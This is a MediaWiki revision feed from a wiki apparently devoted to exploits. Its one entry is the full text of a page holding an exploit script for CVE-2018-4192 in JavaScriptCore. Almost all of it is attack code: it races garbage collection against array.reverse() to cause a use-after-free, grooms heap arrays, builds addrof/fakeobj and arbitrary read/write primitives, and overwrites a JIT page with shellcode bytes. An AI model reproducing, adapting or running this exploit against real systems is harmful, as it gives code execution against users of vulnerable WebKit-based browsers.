<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-4192_JavaScript_Core%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-4192 JavaScript Core任意代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-4192_JavaScript_Core%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-4192_JavaScript_Core%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T21:45:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-4192_JavaScript_Core%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=755&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; // Load Int library, thanks saelo! load('util.js'); load('int64.js');     // Helpers to convert from float to in a few random places var conva = new ArrayBuffer(...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-4192_JavaScript_Core%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=755&amp;oldid=prev"/>
		<updated>2021-03-29T14:28:50Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; // Load Int library, thanks saelo! load(&amp;#039;util.js&amp;#039;); load(&amp;#039;int64.js&amp;#039;);     // Helpers to convert from float to in a few random places var conva = new ArrayBuffer(...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
// Load Int library, thanks saelo!&lt;br /&gt;
load('util.js');&lt;br /&gt;
load('int64.js');&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
// Helpers to convert from float to in a few random places&lt;br /&gt;
var conva = new ArrayBuffer(8);&lt;br /&gt;
var convf = new Float64Array(conva);&lt;br /&gt;
var convi = new Uint32Array(conva);&lt;br /&gt;
var convi8 = new Uint8Array(conva);&lt;br /&gt;
 &lt;br /&gt;
var floatarr_magic = new Int64('0x3131313131313131').asDouble();&lt;br /&gt;
var floatarr_magic = new Int64('0x3131313131313131').asDouble();&lt;br /&gt;
var jsval_magic = new Int64('0x3232323232323232').asDouble();&lt;br /&gt;
 &lt;br /&gt;
var structs = [];&lt;br /&gt;
 &lt;br /&gt;
function log(x) {&lt;br /&gt;
    print(x);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
// Look OOB for array we can use with JSValues&lt;br /&gt;
function findArrayOOB(corrupted_arr, groom) {&lt;br /&gt;
    log(&amp;quot;Looking for JSValue array with OOB Float array&amp;quot;);&lt;br /&gt;
    for (let i = 0; i&amp;lt;corrupted_arr.length; i++) {&lt;br /&gt;
        convf[0] = corrupted_arr[i];&lt;br /&gt;
 &lt;br /&gt;
        // Find the magic value we stored in the JSValue Array&lt;br /&gt;
        if (convi[0] == 0x10) {&lt;br /&gt;
            convf[0] = corrupted_arr[i+1];&lt;br /&gt;
            if (convi[0] != 0x32323232)&lt;br /&gt;
                continue;&lt;br /&gt;
 &lt;br /&gt;
            // Change the first element of the array&lt;br /&gt;
            corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble();&lt;br /&gt;
 &lt;br /&gt;
            let target = null;&lt;br /&gt;
            // Find which array we modified&lt;br /&gt;
            for (let j = 0; j&amp;lt;groom.length; j++) {&lt;br /&gt;
                if (groom[j][0] != jsval_magic) {&lt;br /&gt;
                    target = groom[j];&lt;br /&gt;
                    break&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
 &lt;br /&gt;
            log(&amp;quot;Found target array for addrof/fakeobj&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
            // This object will hold our primitives&lt;br /&gt;
            let prims = {};&lt;br /&gt;
 &lt;br /&gt;
            let oob_ind = i+1;&lt;br /&gt;
 &lt;br /&gt;
            // Get the address of a given jsobject&lt;br /&gt;
            prims.addrof = function(x) {&lt;br /&gt;
                // To do this we put the object in the jsvalue array and&lt;br /&gt;
                // access it OOB with our float array&lt;br /&gt;
                target[0] = x;&lt;br /&gt;
                return Int64.fromDouble(corrupted_arr[oob_ind]);&lt;br /&gt;
            }&lt;br /&gt;
 &lt;br /&gt;
            // Return a jsobject at a given address&lt;br /&gt;
            prims.fakeobj = function(addr) {&lt;br /&gt;
                // To do this we overwrite the first slot of the jsvalue array&lt;br /&gt;
                // with the OOB float array&lt;br /&gt;
                corrupted_arr[oob_ind] = addr.asDouble();&lt;br /&gt;
                return target[0];&lt;br /&gt;
            }&lt;br /&gt;
 &lt;br /&gt;
            return prims;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
// Here we will spray structure IDs for Float64Arrays&lt;br /&gt;
// See http://www.phrack.org/papers/attacking_javascript_engines.html&lt;br /&gt;
function sprayStructures() {&lt;br /&gt;
  function randomString() {&lt;br /&gt;
      return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);&lt;br /&gt;
  }&lt;br /&gt;
  // Spray arrays for structure id&lt;br /&gt;
  for (let i = 0; i &amp;lt; 0x1000; i++) {&lt;br /&gt;
      let a = new Float64Array(1);&lt;br /&gt;
      // Add a new property to create a new Structure instance.&lt;br /&gt;
      a[randomString()] = 1337;&lt;br /&gt;
      structs.push(a);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
// Here we will create our fake typed array and get arbitrary read/write&lt;br /&gt;
// See http://www.phrack.org/papers/attacking_javascript_engines.html&lt;br /&gt;
function getArb(prims) {&lt;br /&gt;
    sprayStructures()&lt;br /&gt;
 &lt;br /&gt;
    let utarget = new Uint8Array(0x10000);&lt;br /&gt;
    utarget[0] = 0x41;&lt;br /&gt;
 &lt;br /&gt;
    // Our fake array&lt;br /&gt;
    // Structure id guess is 0x200&lt;br /&gt;
    // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]&lt;br /&gt;
    let jscell = new Int64('0x0118270000000200');&lt;br /&gt;
 &lt;br /&gt;
    // Construct the object&lt;br /&gt;
    // Each attribute will set 8 bytes of the fake object inline&lt;br /&gt;
    obj = {&lt;br /&gt;
        'a': jscell.asDouble(),&lt;br /&gt;
 &lt;br /&gt;
        // Butterfly can be anything&lt;br /&gt;
        'b': false,&lt;br /&gt;
 &lt;br /&gt;
        // Target we want to write to&lt;br /&gt;
        'c': utarget,&lt;br /&gt;
 &lt;br /&gt;
        // Length and flags&lt;br /&gt;
        'd': new Int64('0x0001000000000010').asDouble()&lt;br /&gt;
    };&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    // Get the address of the values we stored in obj&lt;br /&gt;
    let objAddr = prims.addrof(obj).add(16);&lt;br /&gt;
    log(&amp;quot;Obj addr + 16 = &amp;quot;+objAddr);&lt;br /&gt;
 &lt;br /&gt;
    // Create a fake object from this pointer&lt;br /&gt;
    let fakearray = prims.fakeobj(objAddr);&lt;br /&gt;
 &lt;br /&gt;
    // Attempt to find a valid ID for our fake object&lt;br /&gt;
    while(!(fakearray instanceof Float64Array)) {&lt;br /&gt;
        jscell.add(1);&lt;br /&gt;
        obj['a'] = jscell.asDouble();&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    log(&amp;quot;Matched structure id!&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
    // Set data at a given address&lt;br /&gt;
    prims.set = function(addr, arr) {&lt;br /&gt;
        fakearray[2] = addr.asDouble();&lt;br /&gt;
        utarget.set(arr);&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    // Read 8 bytes as an Int64 at a given address&lt;br /&gt;
    prims.read64 = function(addr) {&lt;br /&gt;
        fakearray[2] = addr.asDouble();&lt;br /&gt;
        let bytes = Array(8);&lt;br /&gt;
        for (let i=0; i&amp;lt;8; i++) {&lt;br /&gt;
            bytes[i] = utarget[i];&lt;br /&gt;
        }&lt;br /&gt;
        return new Int64(bytes);&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    // Write an Int64 as 8 bytes at a given address&lt;br /&gt;
    prims.write64 = function(addr, value) {&lt;br /&gt;
        fakearray[2] = addr.asDouble();&lt;br /&gt;
        utarget.set(value.bytes);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
// Here we will use build primitives to eventually overwrite the JIT page&lt;br /&gt;
function exploit(corrupted_arr, groom) {&lt;br /&gt;
    save.push(groom);&lt;br /&gt;
    save.push(corrupted_arr);&lt;br /&gt;
 &lt;br /&gt;
    // Create fakeobj and addrof primitives&lt;br /&gt;
    let prims = findArrayOOB(corrupted_arr, groom);&lt;br /&gt;
 &lt;br /&gt;
    // Upgrade to arb read/write from OOB read/write&lt;br /&gt;
    getArb(prims);&lt;br /&gt;
 &lt;br /&gt;
    // Build an arbitrary JIT function&lt;br /&gt;
    // This was basically just random junk to make the JIT function larger&lt;br /&gt;
    let jit = function(x) {&lt;br /&gt;
        var j = []; j[0] = 0x6323634;&lt;br /&gt;
        return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };&lt;br /&gt;
 &lt;br /&gt;
    // Make sure the JIT function has been compiled&lt;br /&gt;
    jit();&lt;br /&gt;
    jit();&lt;br /&gt;
    jit();&lt;br /&gt;
 &lt;br /&gt;
    // Traverse the JSFunction object to retrieve a non-poisoned pointer&lt;br /&gt;
    log(&amp;quot;Finding jitpage&amp;quot;);&lt;br /&gt;
    let jitaddr = prims.read64(&lt;br /&gt;
        prims.read64(&lt;br /&gt;
            prims.read64(&lt;br /&gt;
                prims.read64(&lt;br /&gt;
                    prims.addrof(jit).add(3*8)&lt;br /&gt;
                ).add(3*8)&lt;br /&gt;
            ).add(3*8)&lt;br /&gt;
        ).add(5*8)&lt;br /&gt;
    );&lt;br /&gt;
    log(&amp;quot;Jit page addr = &amp;quot;+jitaddr);&lt;br /&gt;
 &lt;br /&gt;
    // Overwrite the JIT code with our INT3s&lt;br /&gt;
    log(&amp;quot;Writting shellcode over jit page&amp;quot;);&lt;br /&gt;
    prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]);&lt;br /&gt;
 &lt;br /&gt;
    // Call the JIT function, triggering our INT3s&lt;br /&gt;
    log(&amp;quot;Calling jit function&amp;quot;);&lt;br /&gt;
    jit();&lt;br /&gt;
 &lt;br /&gt;
    throw(&amp;quot;JIT returned&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
// Find and set the length of a non-freed butterfly with our unstable OOB primitive&lt;br /&gt;
function setLen(uaf_arr, ind) {&lt;br /&gt;
    let f=0;&lt;br /&gt;
    for (let i=0; i&amp;lt;uaf_arr.length; i++) {&lt;br /&gt;
        convf[0] = uaf_arr[i];&lt;br /&gt;
 &lt;br /&gt;
        // Look for a new float array, and set the length&lt;br /&gt;
        if (convi[0] == 0x10) {&lt;br /&gt;
            convf[0] = uaf_arr[i+1];&lt;br /&gt;
            if (convi[0] == 0x32323232 &amp;amp;&amp;amp; convi[1] == 0x32323232) {&lt;br /&gt;
                convi[0] = 0x42424242;&lt;br /&gt;
                convi[1] = 0x42424242;&lt;br /&gt;
                uaf_arr[i] = convf[0];&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    throw(&amp;quot;Could not find anouther array to corrupt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
let oob_rw_unstable = null;&lt;br /&gt;
let oob_rw_unstable_ind = null;&lt;br /&gt;
let oob_rw_stable = null;&lt;br /&gt;
 &lt;br /&gt;
// After this point we would stop seeing GCs happen enough to race :(&lt;br /&gt;
const limit = 10;&lt;br /&gt;
const butterfly_size = 32&lt;br /&gt;
 &lt;br /&gt;
let save = [0, 0]&lt;br /&gt;
 &lt;br /&gt;
for(let at = 0; at &amp;lt; limit; at++) {&lt;br /&gt;
    log(&amp;quot;Trying to race GC and array.reverse() Attempt #&amp;quot;+(at+1));&lt;br /&gt;
 &lt;br /&gt;
    // Allocate the initial victim and target arrays&lt;br /&gt;
    let victim_arrays = new Array(2048);&lt;br /&gt;
    let groom  = new Array(2048);&lt;br /&gt;
    for (let i=0; i&amp;lt;victim_arrays.length; i++) {&lt;br /&gt;
        victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)&lt;br /&gt;
        groom[i] = new Array(butterfly_size/2).fill(jsval_magic)&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    let vv = [];&lt;br /&gt;
    let  v = []&lt;br /&gt;
 &lt;br /&gt;
    // Allocate large strings to trigger the GC while calling reverse&lt;br /&gt;
    for (let i = 0; i &amp;lt; 506; i++) {&lt;br /&gt;
        for(let j = 0; j &amp;lt; 0x100; j++) {&lt;br /&gt;
            // Cause GCs to trigger while we are racing with reverse&lt;br /&gt;
            if (j == 0x44) { v.push(new String(&amp;quot;B&amp;quot;).repeat(0x10000*save.length/2)) }&lt;br /&gt;
            victim_arrays.reverse()&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    for (let i = 0; i &amp;lt; victim_arrays.length; i++) {&lt;br /&gt;
 &lt;br /&gt;
        // Once we see we have replaced a free'd butterfly&lt;br /&gt;
        // fill the replacing array with 0x41414141... to smash rest&lt;br /&gt;
        // of UAF'ed butterflies&lt;br /&gt;
 &lt;br /&gt;
        // We know the size will be 506, because it will have been replaced with v&lt;br /&gt;
        // we were pushing into in the loop above&lt;br /&gt;
 &lt;br /&gt;
        if(victim_arrays[i].length == 506) {&lt;br /&gt;
            victim_arrays[i].fill(2261634.5098039214)&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Find the first butterfly we have smashed&lt;br /&gt;
        // this will be an unstable OOB r/w&lt;br /&gt;
 &lt;br /&gt;
        if(victim_arrays[i].length == 0x41414141) {&lt;br /&gt;
            oob_rw_unstable = victim_arrays[i];&lt;br /&gt;
            oob_rw_unstable_ind = i;&lt;br /&gt;
            break;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    // If we successfully found a smashed and still freed butterfly&lt;br /&gt;
    // use it to corrupt a non-freed butterfly for stability&lt;br /&gt;
 &lt;br /&gt;
    if(oob_rw_unstable) {&lt;br /&gt;
 &lt;br /&gt;
        setLen(oob_rw_unstable, oob_rw_unstable_ind)&lt;br /&gt;
 &lt;br /&gt;
        for (let i = 0; i &amp;lt; groom.length; i++) {&lt;br /&gt;
            // Find which array we just corrupted&lt;br /&gt;
            if(groom[i].length == 0x42424242) {&lt;br /&gt;
                oob_rw_stable = groom[i];&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        if (!oob_rw_stable) {&lt;br /&gt;
            throw(&amp;quot;Groom seems to have failed :(&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    // chew CPU to avoid a segfault and help with gc schedule&lt;br /&gt;
    for (let i = 0; i &amp;lt; 0x100000; i++) { }&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    // Attempt to clean up some&lt;br /&gt;
    let f = []&lt;br /&gt;
    for (let i = 0; i &amp;lt; 0x2000; i++) {&lt;br /&gt;
        f.push(new Array(16).fill(2261634.6098039214))&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    save.push(victim_arrays)&lt;br /&gt;
    save.push(v)&lt;br /&gt;
    save.push(f)&lt;br /&gt;
    save.push(groom)&lt;br /&gt;
 &lt;br /&gt;
    if (oob_rw_stable) {&lt;br /&gt;
        log(&amp;quot;Found stable corrupted butterfly! Now the fun begins...&amp;quot;);&lt;br /&gt;
        exploit(oob_rw_stable, groom);&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
}&lt;br /&gt;
throw(&amp;quot;Failed to find any UAF'ed butterflies&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>